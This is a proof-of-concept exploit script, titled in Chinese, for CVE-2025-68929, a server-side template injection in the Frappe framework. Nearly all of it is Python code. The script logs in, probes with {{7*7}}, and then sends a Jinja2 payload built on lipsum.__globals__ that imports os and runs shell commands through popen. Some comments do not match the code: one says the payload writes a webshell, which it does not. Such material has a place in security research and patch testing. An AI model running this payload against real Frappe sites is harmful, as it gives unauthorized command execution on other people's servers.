CVE-2025-68929: Frappe框架模板注入导致远程代码执行漏洞

# CVE-2025-68929 PoC - Frappe Template Injection RCE # Tested on Frappe versions < 14.99.6 and < 15.88.1 import requests import re from urllib.parse import quote TARGET_URL = "https://vulnerable-frappe-site.com" USERNAME = "[email protected]" PASSWORD = "password123" def login(session): """Authenticate to Frappe and obtain session cookie""" login_url = f"{TARGET_URL}/api/method/login" data = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, json=data, timeout=30) return response.status_code == 200 def detect_ssti(session, target_user_id): """Test for SSTI vulnerability using basic expression""" # Test expression: {{7*7}} test_payload = "{{7*7}}" # Craft malicious link that will be clicked by target user malicious_url = f"{TARGET_URL}/app/workspace/view?template={quote(test_payload)}" # Simulate victim clicking the link response = session.get(malicious_url, timeout=30) if "49" in response.text: print("[+] SSTI vulnerability confirmed!") return True return False def exploit_rce(session, target_user_id): """Execute arbitrary code via Jinja2 template injection""" # RCE payload using Jinja2 template injection # This payload writes a webshell to the system rce_payload = """ {{lipsum.__globals__.__builtins__.__import__('os').popen(request.args.cmd).read()}} """ exploit_url = f"{TARGET_URL}/app/workspace/view" params = { "template": rce_payload.strip(), "cmd": "whoami" } response = session.get(exploit_url, params=params, timeout=30) if response.status_code == 200: print("[+] RCE successful!") return True return False def main(): session = requests.Session() print("[*] Starting CVE-2025-68929 exploitation...") if login(session): print("[+] Login successful") else: print("[-] Login failed") return if detect_ssti(session, "target_user"): print("[*] Proceeding with RCE exploit...") exploit_rce(session, "target_user") else: print("[-] SSTI not detected") if __name__ == "__main__": main() # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires valid credentials and victim interaction. # Use only in authorized penetration testing scenarios.